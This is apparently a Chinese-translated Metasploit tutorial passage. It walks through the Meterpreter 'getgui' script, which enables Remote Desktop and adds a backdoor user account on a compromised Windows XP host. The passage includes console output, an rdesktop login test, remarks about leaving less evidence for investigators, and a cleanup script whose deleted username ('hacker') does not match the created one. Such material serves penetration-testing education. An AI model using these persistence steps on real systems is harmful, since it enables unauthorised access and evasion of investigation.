我们来看看另一种情况,Metasploit使用内置的系统工具非常容易为系统后门。我们将利用Carlos Perez的'getgui'脚本,该脚本启用远程桌面并创建一个用户帐户供您登录。使用这个脚本不是那么容易。
meterpreter > run getgui -h
[!] Meterpreter scripts are deprecated. Try post/windows/manage/enable_rdp.
[!] Example: run post/windows/manage/enable_rdp OPTION=value [...]
Windows Remote Desktop Enabler Meterpreter Script
Usage: getgui -u -p
Or: getgui -e
OPTIONS:
-e 仅启用RDP。
-f 转发RDP连接。
-h 帮助菜单。
-p 要添加的用户的密码。
-u 要添加的用户的用户名。
meterpreter > run getgui -u loneferret -p password
[*] Windows Remote Desktop Configuration Meterpreter Script by Darkoperator
[*] Carlos Perez carlos_perez@darkoperator.com
[*] Language detection started
[*] Language detected: en_US
[*] Setting user account for logon
[*] Adding User: loneferret with Password: password
[*] Adding User: loneferret to local group ''
[*] Adding User: loneferret to local group ''
[*] You can now login with the created user
[*] For cleanup use command: run multi_console_command -rc /root/.msf4/logs/scripts/getgui/clean_up__20170112.2448.rc
meterpreter >
我们完成了!这就对了。我们来测试一下这个连接,看看它是否真的很容易。
在这里我们看到它是。我们使用'rdesktop'命令并指定了我们想要用于登录的用户名和密码。然后我们收到一条错误消息,告诉我们用户已经登录到系统的控制台,如果我们继续,那么用户将被断开。这是Windows XP桌面系统的预期行为,所以我们可以看到一切都按预期工作。请注意,Windows Server允许并发图形登录,因此您可能不会遇到此警告消息。
请记住,这些软件可能非常强大。然而,明智地使用这种力量,因为所有这些步骤都以调查人员可以使用的方式改变系统,以跟踪系统采取了哪些行动。更多的变化,你留下的证据越多。
完成当前系统后,您需要运行提供的清除脚本以删除添加的帐户。
meterpreter > run multi_console_command -rc /root/.msf4/logs/scripts/getgui/clean_up__20170112.2448.rc
[*] Running Command List ...
[*] Running command execute -H -f cmd.exe -a "/c net user hacker /delete"
Process 288 created.
meterpreter >